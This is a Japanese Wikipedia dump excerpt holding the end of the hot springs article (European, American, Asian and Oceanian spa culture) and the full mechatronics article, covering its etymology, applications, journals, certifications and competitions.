対して[[バーデンバーデン]]や[[スパ (ベルギー)|スパ]]などのように入浴用として形成された温泉地も少数ながら存在する。しかし、いずれも日本の温泉のように「浸かる」という概念が存在しない。ドイツのバーデンバーデンは温泉としてより、むしろ付随する[[カジノ]]や[[ブティック]]、宝石店や[[高級ホテル]]などによる[[リゾート]]地として発展した。温泉はサウナやシャワーなどにも利用されるほか、共同浴場が設けられており、温泉水の大浴槽で[[プール]]感覚と同様に泳ぐ者も多い(日本では[[マナー]]違反とされる)。また、日本のように裸で入浴するという習慣はなく、[[水着]]を着用する。そのために、男湯や女湯と隔てることもない場合が多く、日本の[[温水プール]]のような具合で湯に親しむ場所となっている。このような例は後述するニュージーランドの例がある。
また、国際的な温泉地の固定名称にもなった[[ベルギー]]のスパは療養向けに発展した温泉地である。温泉街の規模が小さく、ホテルの個室内に療養用の[[浴槽|バスタブ]]が設けられており、日本の湯治向け温泉に雰囲気が似ている。だが、湯船に入るのは専ら療養目的であるので、日本のように“ゆったり浸って疲れを癒す”という概念は存在しない。
[[ハンガリー]]では古代ローマ時代から公衆浴場が建設され、2000年近くに渡る温泉文化を持っている。[[ブダペスト]]は[[チェス]]ができる混浴(水着着用<ref>[http://www.arukikata.co.jp/city/BUD/spot_4.html#780 地球の歩き方 セーチェニ温泉] 「プールだけでなく温泉も混浴なので水着着用」</ref>)の[[セーチェーニ温泉]]などの温泉が100箇所以上ある。また、温水湖である[[ヘーヴィーズ湖]]も存在する。
歴史的には、ヨーロッパの温泉はローマ帝国滅亡後いったん廃れるが、15世紀ころに活況を取り戻す。当時は[[ドイツ]]と[[イタリア]]の温泉が好まれたが、ヨーロッパの貴族や王族の社交場だった[[スイス]]の[[バーデン (スイス)|バーデン]]がもっとも人気の温泉地だった。16世紀には上流階級の温泉町逗留が始まり、ヨーロッパ各地に点在する温泉巡りも盛んになっていった<ref name=naru1/>。
==== フランス ====
{{seealso|{{ill2|フランスの温泉施設一覧|fr|Liste des stations thermales françaises}}}}
ローマ帝国の支配により各地に温泉施設が造られた。地名にレ・バンと付く所は古くから発達した温泉地である。[[アンリ4世 (フランス王)|アンリ4世]]時代の1605年には温泉鉱泉監督官制度が始まっており、これがフランスにおける国家による最初の温泉政策となった。総監督には王の主治医が就き、弟子たちに各地の温泉を管理させた。貴族や王族による湯治が盛んになる一方、各温泉地には貧窮者用の無料の温泉療養設備も造られた。温泉地は1650年には60か所、1785年には100か所あり、源泉の数は1,000以上にのぼった。このうちいくつかの温泉地では君主や王族、あるいは有名人が訪れることで名声が高まり、それにともなって温泉地の整備も進んでいった。次第に療養者の数は増えていき、18世紀後半になるとホテルなど宿泊施設や病院が温泉地に建設されるようになった。1772年には王立医学委員会(のちの王立医学アカデミー)が設立され、温泉の総合的な調査と管理統制が行なわれた<ref name=naru1/>。
[[フランス革命]]後は、王政時代の監督官制度に代わって、温泉監督医制度が始まり、19世紀には保養と社交を兼ねた温泉地滞在が盛んになり、温泉地のリゾート化が進んだ。1806年には温泉地のギャンブルが正式に許可されて[[カジノ]]が登場した。産業革命により、交通や温泉町の整備が進み、富裕層も増加したことから、19世紀後半には、大規模ホテルの建設、温泉ガイドの出版、温泉医の乱立、温泉開発投資ブーム、温泉地と組んだ広告宣伝の活発化など、温泉の観光化が急激に進んだ。また皇族の温泉地滞在も非常に盛んになり、温泉外交も頻繁に行なわれた。20世紀初頭には、公認源泉は約1,400、温泉リゾート地は130を数え、カジノや[[ミネラル・ウォーター]]の販売は温泉地の大きな収入源となった。[[第二次世界大戦|第二次大戦]]以降は、温泉療養が社会保障に組み込まれたことで、一気に大衆化した<ref name=naru1/>。
2000年代の資料では、公認源泉は約1,200、温泉地は約100か所ある<ref>{{Cite journal|和書|author=成沢広幸 |year=2001 |url=http://www.cmp-lab.or.jp/~narusawa/0101.pdf |format=PDF |title=現代フランスの温泉事情 |journal=経済学論集 |ISSN=09189068 |publisher=宮崎産業経営大学経済学会 |volume=9 |issue=2 |pages=79-114 |CRID=1520009407704583552}}</ref>。源泉は山岳地帯にあるため、主にピレネー、オーヴェルニュ、アルプス、ヴォージュなどに集中する。温泉地としては、[[エクス=レ=バン]]、[[エヴィアン=レ=バン]]、[[ダクス]]、[[ヴィシー]]、[[ヴィッテル]]といった有名地をはじめ、[[バニェール・ド・ビゴール]]、コートゥレ、リュション、[[アクス・レ・テルム]]、[[モン=ドール (ピュイ=ド=ドーム県)|ル・モン・ドール]]、ラ・ブルブール、[[ロワイヤ]]、[[シャテル=ギヨン]]、ネリス、プーグ・レ・バン、ディヴォーヌ、ユリナージュ、ブルボーヌ・レ・バン、プロンビエール・レ・バン、リュクスイユ、コントレクセヴィル、サラン・デュ・ジュラ、[[バニョール・ド・ロルヌ]]、フォルジュ・レゾー、サンタマン・レゾー、バラリュック、ラマル、[[エクサン・プロヴァンス]]、グレウーなど多数ある<ref name=naru1/>。
====イタリア====
{{節stub}}
[[File:Terme_di_Saturnia_-_Cascate_del_Mulino-0518.jpg|thumb|200px|[[:it:Terme di Saturnia]]]]
{{main|it:Categoria:Terme in Italia}}
*[[:it:Terme di Saturnia]]
*[[:it:Terme di Montecatini]]
=== ジョージア ===
[[File:2014 Tbilisi, Łaźnie siarkowe w Abanotubani (15).jpg|thumb|トビリシのアバノツバニにある温泉。ドーム状の建物の内部に天然温泉がある。]]
[[ジョージア (国)|ジョージア]]の首都・[[トビリシ]]の[[アバノツバニ]]([[ジョージア語]]で湯治街の意味)は有名な温泉街であり、トビリシの名前の由来となった{{efn|ある日[[イベリア王国]]国王の[[ヴァフタング1世]]が狩りをしていると、彼の[[ハヤブサ]]が傷ついた[[キジ]]を捕まえてきた。その後王が歩いていると突然彼のハヤブサとキジが水の中に落ち死んでしまった。王が確認するとそこには茹で上がったハヤブサとキジと温かい水、つまり温泉があった。その後ヴァフタング1世はイベリア王国の首都を[[ムツヘタ]]からアバノツバニのある場所に遷都し、その場所は[[ジョージア語]]で"あたたかい"、"あたたかい場所"を意味する'''トビリシ'''([[グルジア文字|アソムタヴルリ]]:{{wikt-lang|oge|ტფილისი|ႲႡႨႪႨႱႨ}}, [[グルジア文字|ムヘドルリ]]: {{wikt-lang|ka|თბილისი}})という名前が付けられた<ref name="A">{{Cite web |url=https://georgiantour.com/abanotubani/ |title=Abanotubani -Tbilisi’s Historical Sulfer bath quarter |access-date=9 February 2020 |website=Georgian Tour}}</ref>。}}。[[1829年]]には[[ロシア]]の[[詩人]]である[[アレクサンドル・プーシキン]]もアバノツバニのオルベリアニ浴場 (Orbeliani Baths) を訪れている<ref name="B">{{Cite web |url=https://theculturetrip.com/europe/georgia/articles/soaking-in-sulphur-a-history-of-the-tbilisi-bathhouses/ |title=Soaking in Sulphur: A History of the Tbilisi Bathhouses |access-date=9 February 2020 |website=theculturetrip.com}}</ref>。
=== アメリカ合衆国 ===
アメリカ大陸には日本ほどではないが、[[アラスカ山脈]]や[[ロッキー山脈]]など、一部の火山帯を中心に自然の温泉が点在する。その中でも特に著名なのは[[ワイオミング州]]北西部(一部[[モンタナ州]]・[[アイダホ州]]にもまたがる)の[[イエローストーン国立公園]]で、園内には多数の温泉(源泉)や[[間欠泉]]が点在している。しかし、[[カリフォルニア州]][[カリストガ]]のように観光地化されている温泉地や、[[コロラド州]][[グレンウッドスプリングス]]のように温泉水を[[プール]]として利用しているといった、ごく一部の例外を除けば、ほとんどが大自然の露天風呂であり、開発はさほど進んでいない。
アメリカ合衆国において、温泉地として開発された最も有名な例としては[[アーカンソー州]][[ホットスプリングス (アーカンソー州)|ホットスプリングス]]市が挙げられる。同地の温泉は、[[1541年]]にスペイン人探検家[[エルナンド・デ・ソト]]が、原住民が古くから使用していた温泉を発見したのが始まりとされている<ref>Paige, John C. and Laura Woulliere Harrison. {{PDFlink|[http://www.nps.gov/history/history/online_books/hosp/bathhouse_row.pdf Out of the Vapors: A Social and Architectural History of Bathhouse Row, Hot Springs National Park]}}. p.24. U.S. Department of the Interior. 1987年. {{リンク切れ|date=2016年4月}}</ref>。ここは湯量が豊富であり、合衆国の中では比較的湿度が高い地域ではあるが、西ヨーロッパと同様、基本的に「湯につかる」という習慣が無かったため、あくまで医療・療養目的として使用されるにとどまっており、市内に点在していた[[カジノ]]や[[ブティック]]などのリゾート施設がリゾート地としての発展を後押しすることになった。また、療養温泉地としての性質から、[[第二次世界大戦]]時中には傷病者の治療・保健施設も設けられた。今日では年間300万人が訪れる全米随一の温泉リゾートとなっている。
[[アメリカ合衆国東部|東部]]においては、[[アパラチア山脈]]沿いに温泉地が点在している。東部は合衆国の中でも最も早くからヨーロッパ人の入植が進んだ土地であるだけに、[[ジョージ・ワシントン]]ゆかりの温泉地である[[ウェストバージニア州]]の[[バス (バークレースプリングス) (ウェストバージニア州)|バークレースプリングス]]や、[[トーマス・ジェファーソン]]が訪れ、通ったとされる[[バージニア州]]の[[ジェファーソン・プールズ]]、その近隣に立地し、多数の著名人が訪れた高級リゾートの[[ホームステッド (バージニア州ホットスプリングス)|ホームステッド]]など、長い歴史を持つ温泉地もある。
<gallery>
ファイル:Yellowstone Nationalpark3.jpg|イエローストーン国立公園内の間欠泉
ファイル:Glenwoodspringspool.jpg|グレンウッドスプリングスの温泉プール
ファイル:Buckstaff Baths.jpg|ホットスプリングスのバスハウス
ファイル:Jefferson Pools Gentlemen.JPG|ジェファーソン・プールズ(男湯)
</gallery>
=== アジア諸国 ===
{{節スタブ}}
[[大韓民国|韓国]]および[[北朝鮮]]では日本に似た“浸かる”温泉文化が根付いており、日韓併合に伴い、日本人が朝鮮半島で温泉開発を行ったことに因るものである。いずれも火山が少ないが、高温が噴出する温泉が多く存在する。しかし、日本とは文化的な相違があり、初めて訪れる日本人はカルチャーショックを受けることがある(たとえば、入浴の際に何も持たない)。また、汗蒸と呼ばれる伝統的な蒸し風呂がある。
[[台湾]]における温泉の歴史の始まりは、[[北投区|北投]]で[[1894年]]にドイツ人のウォーリー(Quely)が温泉を発見したことだとされる。[[1896年]]には、その[[北投温泉]]に[[大阪]]出身の平田源吾が「天狗庵」と言う旅館を建設し、周辺にも陸軍の[[保養所]]などが建設される。これらは記録に残ったものであるが、温泉の効能が書かれた説明などには、[[知本温泉]]のように[[台湾原住民|台湾の先住民]]が利用したと言う記述や伝聞も残されている。[[屏東県]][[車城郷]]の[[四重渓温泉]]には、[[高松宮]]が夫婦で利用した浴槽が現在でも残されている。[[日本統治時代の台湾|日本の統治時代]]に[[台湾総督府警察|警察]]の保養所として建設された温泉旅館が、[[蔣介石]]の[[蔣介石政権|時代]]には「警光山荘」として[[中華民国の警察|台湾の警察]]に利用され、現在では一般人も利用できるようになっている。台湾の温泉は水着着用で利用するのが一般的だが、日本式の温泉を表す「[[日式]]」と書かれた温泉では、日本の温泉のように何も身に付けずに利用することを表す<ref>[[日経BP]]「旅名人ブックス 台湾の温泉&スパ」</ref>。一部の温泉では[[温泉卵]]を茹でる場所も用意されている。
=== オセアニア ===
{{節スタブ}}
オセアニアで有名な温泉大国は[[ニュージーランド]]で、国内には火山が多いために、温泉地も数多く存在する。原住民の[[マオリ]]の人々も温泉の効能を知っており、温泉を療養に用いていたという。しかし、20世紀前半に国を挙げて豊富な温泉水に目を向け、滞在型の温泉リゾートを開発しようとしたが、日本ほど湿潤な気候でないことと、入植した白人には入浴という習慣が根付いていなかったため、さほど進展しなかった。今日、ニュージーランドの温泉はスポーツやエクササイズといった健康面で結びつき、あくまでスポーツやアウトドア後に汗を流すための保養施設として発展している。また、温泉水を利用した温泉プールは非常に人気があり、温泉地の主力施設となっている。
== 温泉記号・温泉マーク ==
[[地図記号]]としての「温泉記号」については、「[[温泉マーク]]」の項目を参照のこと。
[[文字]]としての温泉マークは、「♨」。温泉マークの[[文字参照]]による表記方法は、'''&#x2668;'''(&#9832;)である。
== 脚注 ==
{{脚注ヘルプ}}
=== 注釈 ===
{{Notelist}}
=== 出典 ===
{{Reflist}}
== 参考文献 ==
{{節スタブ}} <!-- {{Cite book}} --> <!-- {{Cite journal}} -->
== 関連項目 ==
{{ウィキポータルリンク|温泉|[[画像:Hot springs 001.svg|34px|Portal:温泉]]}}
* [[噴気孔 (地質学)|噴気孔]]、[[熱水噴出孔]]、[[泥火山]]
* [[温泉分析書]]
* [[日本の温泉地一覧]]、[[にっぽんの温泉100選]]
* [[公衆浴場]]、[[共同浴場]]、[[銭湯]]、[[湯治#湯治場|湯治場]]、[[日帰り入浴施設]]
* [[温泉むすめ]]
* [[露天風呂での組織的盗撮事件]]
== 外部リンク ==
{{Commonscat|Hot springs of Japan|日本の温泉}}
* [https://www.env.go.jp/nature/onsen/ 温泉の保護と利用] - 環境省
** [https://www.env.go.jp/nature/onsen/data/ 温泉に関するデータ]
* [https://www.env.go.jp/nature/onsen/docs/shishin_bunseki.html 鉱泉分析法指針] - 平成14年版
* [https://www.spa.or.jp/ 一般社団法人日本温泉協会]
* [https://www.jph-ri.or.jp/ 一般財団法人日本健康開発財団]
* [https://www.onki.jp/ 一般社団法人日本温泉気候物理医学会]
* [http://www.j-hss.org/ 一般社団法人日本温泉科学会]
<!-- 特定の温浴施設についての記載は不適当。温泉地一覧の項目でも不適当なので、別項目を起こすべきか検討必要だが、百科事典にはなじまないのでコメントアウト
-->
{{温泉}}
{{地形}}
{{Normdaten}}
{{DEFAULTSORT:おんせん}}
[[Category:温泉|*]]
[[Category:資源]]
[[Category:日本の文化]]
[[Category:日本の歴史]]
[[Category:観光地]] | 2003-04-15T13:28:48Z | 2023-11-27T14:22:18Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E6%B8%A9%E6%B3%89 |
6,773 | メカトロニクス | メカトロニクス(英語:Mechatronics)とは、機械工学、電気工学、電子工学、情報工学の知識・技術を融合させることにより、従来手法を越える新たな工学的解を生み出す学問・技術分野をさす。
メカトロニクスは、昭和44年(1969年)に安川電機の技術者であった森徹郎によって出願された言葉で、機械装置(メカニズム、mechanism)と電子工学(エレクトロニクス、electronics)を合わせた和製英語である。昭和47年(1972年)1月に安川電機の商標として登録された(特許公昭46-32714)。登録前からこの言葉は現場を中心に使われるようになり、一般にも広まっていった。現在は安川電機が商標権を放棄し一般名称として使われている。海外にも普及していき、メカトロニクスを冠する学術論文集も、日本の欧文誌『Journal of Robotics and Mechatronics』が1989年に、国際自動制御連盟(英語版)(IFAC)の『Journal of Mechatronics』が1991年、アメリカの『Transaction on Mechatronics』が1996年に創刊されている。
従来、機械製品に複雑な動作をさせるには、リンク機構やカム、歯車など多くの機構部品を組み合わせる必要があった。このような製品は、大型・高価になりやすく、複雑で組み立てにくいものとなっていた。
そこで、制御の部分を電子回路化し、センサやアクチュエータと組み合わせることによって、複雑な動作を簡単に実現したり、機械要素の組み合わせだけでは実現できないような機能を持たせることが可能になる。今日では制御にマイクロプロセッサ(マイコン)を用いることによって、自動化や適応制御など、より豊富で便利な機能を実現している。また、同一の機構であっても、電子回路やマイコンプログラム(ファームウェア)の変更で、仕様の変更や追加を容易に対応できる利点ももつ。
以上のような特長により、従来機械産業とされてきた、時計、カメラ、自動車、工作機械など、ほとんどの分野でメカトロニクス化が進んできている。また、ロボット、ハードディスク、CDプレーヤー、自動改札機、ATMなど、メカトロニクスによってはじめて成り立つ分野も数多くある。
ファクトリーオートメーション(FA)においては、与えられた目的に対し、センサ、コントローラ、アクチュエータ、メカニズムをシステムとしていかに構築するかが問題となる。アクチュエータとしては各種モータのみならず、空気圧機器も良く使われる。メカニズムにはカム、リンク(スライダクランク機構等)、ゼネバ、歯車、ベルト等の機械要素もふんだんに使われ、コントローラとしては、プログラマブルロジックコントローラ(PLC)が使われることが多い。メカトロニクスを対象とする資格試験や競技大会においてもFAを意識したものが多い(#資格・免許や#競技会の節を参照)。
名称は機械+電子の機電一体であるが、実際は機械工学・電気工学・電子工学・情報工学の融合である。また、センサ・コンピュータ(コントローラ)・動力源(パワー源)・アクチュエータ・メカニズムを要素とするシステムとして構成され、ハードウェアとソフトウェアの構成には多様性があり、ソフトウェアに比重を置くとインテリジェンスやフレキシビリティを持たせることができる。
メカトロニクスの定義や範疇には幅があり、取り扱う人の立場、時代、用途によっても変わってくる。事例として時計を考えると、機械式時計は全てが機械であり、クォーツ時計はほとんどがエレクトロニクス化したメカトロニクス、電波時計はマイコン・モーターを搭載して通信も行う高度なメカトロニクスになる。ミシンの例では、当初は完全に機械式であったものが、補助機構が別モータで制御されるようになり、さらにすべてのモータがコンピュータ制御で同期が取られるようになっていった。
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| メカトロニクスとは、機械工学、電気工学、電子工学、情報工学の知識・技術を融合させることにより、従来手法を越える新たな工学的解を生み出す学問・技術分野をさす。 | [[File:MechatronicsDiagram (ja).png|thumb|right|300px|メカトロニクスとその周辺領域]]
'''メカトロニクス'''([[英語]]:''Mechatronics'')とは、[[機械工学]]、[[電気工学]]、[[電子工学]]、[[情報工学]]の知識・技術を融合させることにより、従来手法を越える新たな工学的解を生み出す学問・技術分野をさす{{Sfn|JSME便覧γ7|2008|p=9}}。
== 概要 ==
=== 語源 ===
メカトロニクスは、昭和44年([[1969年]])に[[安川電機]]の技術者であった森徹郎によって出願された{{R|佐古2005}}言葉で、機械装置('''メカ'''ニズム、'''mecha'''nism)と[[電子工学]](エレク'''トロニクス'''、elec'''tronics''')を合わせた[[和製英語]]である{{Sfn|黒澤|1983}}。昭和47年([[1972年]])1月に安川電機の[[商標]]として登録された<ref>『[[日経産業新聞]]』1982年1月1日付記事。</ref>(特許公昭46-32714{{R|佐古2005}})。この言葉は出願前から現場を中心に使われており<ref>黒澤豊樹「メカトロニクス誕生の背景と最近の動向」『メカトロニクス』第6巻第8号、1981年、 3頁。</ref>、商標登録によって一般にも広まっていった。現在は安川電機が[[商標の普通名称化|商標権を放棄]]し一般名称として使われている{{R|佐古2005}}。海外にも普及していき、メカトロニクスを冠する学術論文集も、日本の欧文誌『Journal of Robotics and Mechatronics』が[[1989年]]に<ref>“[http://www.fujipress.jp/JRM/JRM_back_numbers.html Back number]”. JRM. 富士技術出版. 2014年1月11日閲覧。</ref>、{{仮リンク|国際自動制御連盟|en|International Federation of Automatic Control}}(IFAC)の『Journal of Mechatronics』が[[1991年]]{{R|IFAC1|IFAC0}}、アメリカの『Transaction on Mechatronics』が[[1996年]]に創刊されている{{Sfn|JSME便覧γ7|2008|p=9}}。
=== メカトロニクス製品 ===
従来、機械製品に複雑な動作をさせるには、[[リンク機構]]や[[カム (機械要素)|カム]]、[[歯車]]など多くの機構部品を組み合わせる必要があった。このような製品は、大型・高価になりやすく、複雑で組み立てにくいものとなっていた{{Sfn|黒澤|1983}}{{Sfn|JSME便覧γ7|2008}}。
そこで、制御の部分を[[電子回路]]化し、[[センサ]]や[[アクチュエータ]]と組み合わせることによって、複雑な動作を簡単に実現したり、機械要素の組み合わせだけでは実現できないような機能を持たせることが可能になる。今日では制御に[[マイクロプロセッサ]](マイコン)を用いることによって、自動化や適応制御など、より豊富で便利な機能を実現している。また、同一の機構であっても、電子回路やマイコンプログラム([[ファームウェア]])の変更で、仕様の変更や追加を容易に対応できる利点ももつ{{Sfn|黒澤|1983}}{{Sfn|JSME便覧γ7|2008}}。
以上のような特長により、従来機械産業とされてきた、[[時計]]、[[カメラ]]、[[自動車]]、[[工作機械]]など、ほとんどの分野でメカトロニクス化が進んできている。また、[[ロボット]]、[[ハードディスク]]、[[コンパクトディスク|CD]]プレーヤー、[[自動改札機]]、[[現金自動預け払い機|ATM]]など、メカトロニクスによってはじめて成り立つ分野も数多くある{{Sfn|JSME便覧γ7|2008|pp=11-12}}。
=== FAのためのメカトロニクス ===
[[ファクトリーオートメーション]](FA)においては、与えられた目的に対し、センサ、コントローラ、アクチュエータ、メカニズムをシステムとしていかに構築するかが問題となる。アクチュエータとしては各種[[電動機|モータ]]のみならず、空気圧機器も良く使われる。メカニズムにはカム、リンク(スライダクランク機構等)、[[ジェネバ機構|ゼネバ]]、[[歯車]]、[[ベルト (機械)|ベルト]]等の機械要素もふんだんに使われ、コントローラとしては、[[プログラマブルロジックコントローラ]](PLC)が使われることが多い{{Sfn|熊谷|2007}}。メカトロニクスを対象とする資格試験や競技大会においてもFAを意識したものが多い(''[[#資格・免許]]や[[#競技会]]の節を参照'')。
== 特徴 ==
名称は機械+電子の機電一体であるが、実際は[[機械工学]]・[[電気工学]]・[[電子工学]]・[[情報工学]]の融合である{{Sfn|JSME便覧γ7|2008|p=9}}{{Sfn|黒澤|1983}}。また、[[センサ]]・[[コンピュータ]]([[コントローラ]])・[[動力源]](パワー源)・[[アクチュエータ]]・[[メカニズム]]を要素とする[[システム]]として構成され{{Sfn|メカトロニクス入門|1984|pp=19-20}}{{Sfn|熊谷|2018}}、[[ハードウェア]]と[[ソフトウェア]]の構成には多様性があり、ソフトウェアに比重を置くと[[インテリジェンス]]やフレキシビリティを持たせることができる{{Sfn|黒澤|1983}}。
メカトロニクスの定義や範疇には幅があり、取り扱う人の立場{{R|西田2010}}、時代{{Sfn|黒澤|1983}}、用途によっても変わってくる{{Sfn|JSME便覧γ7|2008|pp=11-12}}。事例として時計を考えると、機械式時計は全てが機械であり、クォーツ時計はほとんどがエレクトロニクス化したメカトロニクス、電波時計はマイコン・モーターを搭載して通信も行う高度なメカトロニクスになる{{R|西田2010}}。[[ミシン]]の例では、当初は完全に機械式であったものが、補助機構が別モータで制御されるようになり、さらにすべてのモータがコンピュータ制御で同期が取られるようになっていった{{Sfn|熊谷|2018|pp=10-11}}{{Sfn|JSME便覧γ7|2008|p=11}}。
また、応用展開に合わせて、以下のような技術、機器が存在する{{Sfn|JSME便覧γ7|2008|p=191-246}}。
{|width="100%"
|style="vertical-align:top;"|
* 精密メカトロニクス
* オプトメカトロニクス
|style="vertical-align:top;"|
* 知能化メカトロニクス
* 医療・バイオメカトロニクス
|style="vertical-align:top;"|
* マイクロ・ナノメカトロニクス
* ネットワークメカトロニクス
|}
== 関連雑誌 ==
; 月刊メカトロニクス(Mechatronics Design News)
: Gichoビジネスコミュニケーションズが発行する[[月刊誌]]で、創刊は1976年6月18日{{R|媒体概要}}。生産財業界の最新技術や企業動向を紹介している総合情報誌。企業広告が多く掲載されているのも特徴である。毎月15日に発行しているが、一般書店では販売していない。定期購読を申し込む<ref>“[http://www.gicho.co.jp/mechatronics/buy.html 購読について]”. ''メカトロニクス''. Gichoビジネスコミュニケーションズ. 2018年6月24日閲覧。</ref>か、デジタルブックで閲覧する<ref>“[http://www.gicho.co.jp/digitalbook/index.html メカトロニクス・デジタル版]”. Gichoビジネスコミュニケーションズ. 2018年6月24日閲覧。</ref>。発行部数は35,000部(2015年1月現在){{R|媒体概要}}。
; Transaction on Mechatronics
: [[IEEE]](Institute of Electrical and Electronic Engineers、米国電気電子学会)と[[アメリカ機械学会|ASME]](American Society of Mechanical Engineers、米国機械学会)が合同で出版している論文集。正確にはIEEEは Industrial Electronics Society と Robotics and Automation Societyが、ASME は Dynamic Systems and Control Division という部門が担当しており、メカトロニクスの学際性が表れている<ref>“[http://www.ieee-asme-mechatronics.org/ IEEE/ASME Transaction on Mechatronics]”. [[IEEE]]・[[アメリカ機械学会|ASME]]. 2018年6月24日閲覧。</ref>。
; Journal of Robotics and Mechatronics
: 富士技術出版が出版する英文論文集で、[[2013年]]までは[[日本機械学会]]のロボティクス・メカトロニクス部門との共同編集であった<ref>“[https://www.jsme.or.jp/rmd/Japanese/Journal/index.html 部門欧文誌]”. [[日本機械学会]]ロボティクス・メカトロニクス部門 (2018年2月5日) 2018年6月24日閲覧。</ref>。毎年同部門の学術講演会Robomech(ロボティクス・メカトロニクス講演会)の特集号が組まれていた<ref>富士技術出版: [http://www.fujipress.jp/JRM/ Journal of Robotics and Mechatronics]、2014年1月11日閲覧。</ref>。
== 資格・免許 ==
; メカトロニクス技術認定試験
: [[自動化推進協会]]が実施している資格試験であり、英語名称はTTAM(Test of Technical Ability on Mechatronics)<ref>“[http://www.jidoka.net/ttam/index.html TTAM メカトロニクス技術認定試験]”. [[自動化推進協会]]. 2018年6月24日閲覧。</ref>。[[ファクトリーオートメーション]]を扱う協会が主催していることから、生産設備の自動化技術者を想定している。どのメカニズムをどんなアクチュエータで動かすか、どのコントローラをどんなソフトウェアで制御するか、どのセンサでどんな信号を取るのか、に対し、最適な組み合わせを選定する実務能力が問われる{{Sfn|熊谷|2007}}。
; [[職業訓練指導員 (メカトロニクス科)]]
: [[厚生労働省]]管轄の[[職業訓練指導員免許]]の一つ。
:* [[職業能力開発総合大学校]]長期課程を卒業している。
:* [[高等学校]]の[[教員免許]]を取得している。
:* 受講資格を満たした上で48時間講習を受講する。
:* 都道府県が実施する試験を受けて合格する。
:など、免許の取得条件・方法は複数ある<ref>“[http://www.hataraku.metro.tokyo.jp/school/sikaku/shidouinmenkyo/ 職業訓練指導員免許のごあんない]”. [[東京都産業労働局]]. 2015年1月12日閲覧。</ref>。
== 競技会 ==
; [[技能五輪]]
: 自動生産設備を模擬したFAモデルを取り扱う<ref>“[http://www.javada.or.jp/jigyou/gino/zenkoku/n_51/kadai/04.html 第51回技能五輪全国大会「メカトロニクス」職種 競技課題] (PDF)”. ものづくり基盤強化> 第51回技能五輪全国大会. [[中央職業能力開発協会]] (2013年8月20日). 2015年1月12日閲覧。</ref>。
: ・[[国際技能競技大会|技能五輪国際大会]](満25歳以下対象、職種「Mechatronics」)
: ・[[技能五輪全国大会]](満24歳以下対象、職種「メカトロニクス」)
; [[メカトロ甲子園]]
: PLC([[プログラマブルロジックコントローラ]])に重点が置かれている、工業高校生等若者が主対象の大会。普通高校生、実業高校生、専門学校生を想定しているが、その他だれでも参加できる大会。[[eラーニング]]でエクセルPLCを使い、本大会で実機を用いる<ref>“[http://have-a-great-time.com/2005mechatroKoushien/index.html メカトロ甲子園]”. 2014年1月9日閲覧。{{リンク切れ|date=2018年6月}}</ref>。
; メカトロ設計コンテスト
: 幾つかの大学の研究室において、研究室対抗で行われる競技会。[[東京工業大学]]、[[山梨大学]]、[[法政大学]]、[[拓殖大学]]の研究室から、学部4年生と[[修士課程]]の大学院生が参加する。<ref>松浦大輔「[https://doi.org/10.1299/jsmemag.109.1057_964 研究室対抗メカトロ設計コンテスト]」、『日本機械学会誌』第109巻第1057号、2006年12月、 964-965頁。</ref>ものづくりに重点が置かれ、システム構成の自由度が高い<ref>“[http://www.dynamics.mep.titech.ac.jp/mechacon/index-j.php メカトロ設計コンテスト]”. 東京工業大学岩附研究室. 2018年6月24日閲覧。</ref>。
== 脚注 ==
{{脚注ヘルプ}}
{{Reflist|2|refs=
<ref name="佐古2005">佐古長四郎 『おもしろ万華鏡―村の広場のこぼれ話』 [[文芸社]]、2005年4月、68頁、{{ISBN2|978-4835589640}}。</ref>
<ref name="西田2010">西田麻美 『[http://pub.nikkan.co.jp/books/detail/00001956 メカトロニクスTheビギニング]』 [[日刊工業新聞社]]、2010年、2-3頁、{{ISBN2|978-4-526-06383-1}}。</ref>
<ref name="媒体概要">“[http://www.gicho.co.jp/mechatronics/outline.html 媒体概要]”. ''メカトロニクス''. Gichoビジネスコミュニケーションズ. 2018年6月24日閲覧。</ref>
<ref name="IFAC1">“[https://www.sciencedirect.com/journal/mechatronics/vol/1/issue/1 Volume 1, Issue 1 Pages 1-114 (1991)]”. ''Mechatronics''. [[ScienceDirect]] 2018年6月24日閲覧。
</ref>
<ref name="IFAC0">“[https://www.journals.elsevier.com/mechatronics Mechatronics The Science of Intelligent Machines]”. ''Journals''. [[エルゼビア]]. {{ISSN|0957-4158}} 2018年6月24日閲覧。</ref>
}}
== 参考文献 ==
* {{Wikicite|ref={{Sfnref|熊谷|2007}} |reference=熊谷卓『メカトロニクス技術認定試験教本』NPO法人自動化推進協会 監修、工業調査会、2007年、{{ISBN2|978-4-7693-2190-3}}。}}
* {{Wikicite|ref={{Sfnref|熊谷|2018}} |reference=[[熊谷正朗]]「ロボット作りのためのメカトロニクス入門」『[[ロボコンマガジン]]』第120号、2018年11月号、[[オーム社]]。}}
* {{Wikicite|ref={{Sfnref|黒澤|1983}} |reference=黒澤豊樹「[https://doi.org/10.2493/jjspe1933.49.1475 メカトロニクス技術の展開と今後のニーズ]」『精密機械』第49巻第11号、1983年、 1475-1480頁。}}
* {{Wikicite|ref={{Sfnref|メカトロニクス入門|1984}} |reference=『メカトロニクス入門』日本機械学会 編、丸善〈メカトロニクスシリーズI[入門編I]〉、1984年、{{ISBN2|4-7655-3219-4}}。}}
* {{Wikicite|ref={{Sfnref|JSME便覧C4|1989}} |reference=『機械工学便覧C4 メカトロニクス』日本機械学会 編、丸善、1989年、{{ISBN2|4-88898-048-9}}。}}
* {{Wikicite|ref={{Sfnref|JSME便覧γ7|2008}} |reference=『機械工学便覧応用システム編γ7 メカトロニクス・ロボティクス』日本機械学会 編、丸善、2008年12月、{{ISBN2|978-4-7693-2190-3}}。}}
== 関連項目 ==
{|width="100%"
|style="vertical-align:top;"|
* [[機械工学]]
* [[電気工学]]
* [[電子工学]]
* [[情報工学]]
* [[制御工学]]
* [[機電系]]
|style="vertical-align:top;"|
* [[自動化]]
* [[CNC]]
* [[NC工作機械]]
* [[ロボット]]
* [[産業用ロボット]]
|style="vertical-align:top;"|
* [[機械]]
* [[からくり]]
* [[センサ]]
* [[メカニズム]]
* [[アクチュエータ]]
* [[サーボ機構]]
* [[ステッピングモーター]]
|style="vertical-align:top;"|
* [[マイコン]]
* [[組み込みシステム]]
* [[シーケンス制御]]
* [[プログラマブルロジックコントローラ]]
* [[ファクトリーオートメーション]]
|}
== 外部リンク ==
* [http://www.mech.tohoku-gakuin.ac.jp/rde/contents/sendai/mechatro/indexframe.html ロボット博士のメカトロニクスセミナー] - [[熊谷正朗]]([[東北学院大学]]ロボット開発工学研究室)
